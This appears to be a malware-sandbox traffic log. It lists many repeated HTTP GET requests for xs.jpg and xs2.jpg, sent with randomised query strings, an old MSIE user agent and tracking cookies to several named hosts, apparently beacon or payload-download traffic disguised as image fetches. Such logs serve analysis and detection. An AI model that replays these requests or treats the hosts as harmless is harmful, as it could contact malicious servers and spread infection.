Source: global traffic HTTP traffic detected: GET /xs.jpg?8cd08851=-1502504717 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?908734c0=-1522004096 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9a275efc=46455532 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159349|1720159259|3|24|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?9ffb83c1=-1075505530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159350|1720159259|3|24|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a5ab2386=-2018641750 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159351|1720159260|4|24|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a9db6871=-1485987388 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?adce999d=316119470 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?bbd2b314=-1424130204 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159354|1720159259|4|25|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?c1df27dd=251215592 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159354|1720159259|3|25|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?c3baede6=500657968 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159355|1720159260|4|25|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?c750acd5=-1902028374 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?cbebb896=1673734594 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?d597c30b=-2134423263 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159357|1720159259|3|26|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?defe4bdb=972408610 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159358|1720159259|3|26|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e806d3ea=675115834 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159359|1720159260|4|26|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?ed0b353e=-954097734 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?f50273b1=-1659498183 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4745dc7=523145329 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159361|1720159259|3|27|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?c7a449b=1256037282 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159362|1720159259|3|27|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?10878fe9=831958971 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159363|1720159260|4|27|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?17066025=-432029326 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1ebf202e=-684072638 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2e78457f=1559268094 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159366|1720159259|4|28|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?356cb59d=1979250507 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159366|1720159259|3|28|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3b3f41b1=-1631925289 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159367|1720159260|4|28|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?3fc1b58c=-1102317868 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?a0c60b5a=1203532164 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?993d7f2c=-30180388 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159370|1720159259|4|29|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?d9ba63d9=-642096167 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159371|1720159259|4|29|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?8f00ee41=-1777774966 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159372|1720159260|4|29|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?696b574e=1010959850 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?cd510956=43331246 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?91f5dba5=-1243507985 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159375|1720159259|4|30|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?96090d15=739383850 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159375|1720159259|4|30|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?15c817e8=365434856 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159376|1720159260|4|30|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?334f6b3c=870089576 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1da045db=-1809752761 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?41ed49d4=-976757380 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159380|1720159259|4|31|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?826f9a23=-2106615261 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159380|1720159259|4|31|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2ec75429=1983553864 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159381|1720159260|4|31|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?2d6766a9=1799042376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?43b77b4=71006132 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3385c362=1755862958 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159384|1720159259|4|32|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1bbff591=1396695219 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159385|1720159259|4|32|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?7d9f9d7d=2027870327 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159385|1720159260|4|32|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?ff31f566=-54012520 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?b51d7645=-1986834599 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a08af9ff=72863736 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159389|1720159259|4|33|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?5a3b4a05=2006910499 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159389|1720159259|4|33|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?86fb760c=-1561768388 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159390|1720159260|4|33|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?6307741b=-972101578 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?38373338=-101659400 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?52638f9=777519297 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159393|1720159259|4|34|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?cdc80b22=164654932 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159394|1720159259|4|34|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?146c7f21=685309506 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159394|1720159260|4|34|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a01325a2=1076251460 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?13966ddd=657251258 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?140bbffd=1681571825 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159397|1720159259|4|35|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?ec575cc=1239108860 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159398|1720159259|4|35|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e3527f49=-1924530908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159398|1720159260|4|35|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1b715571=-151256839 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?c74bfbd0=-951321648 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?eb7bcec3=-1032623031 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159401|1720159259|4|36|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?ca9a0e20=1607346784 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159402|1720159259|4|36|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?608cb344=1129067416 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159402|1720159260|4|36|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?bd60bc68=2059499728 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?7f13e7e5=-154726670 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?20062123=-1608604241 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159407|1720159259|5|37|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?cd024f52=-1710973276 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159407|1720159259|4|37|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?81924fcd=-1962922341 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159408|1720159260|5|37|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?5b13db53=-1899589314 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?669212f9=-838957873 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
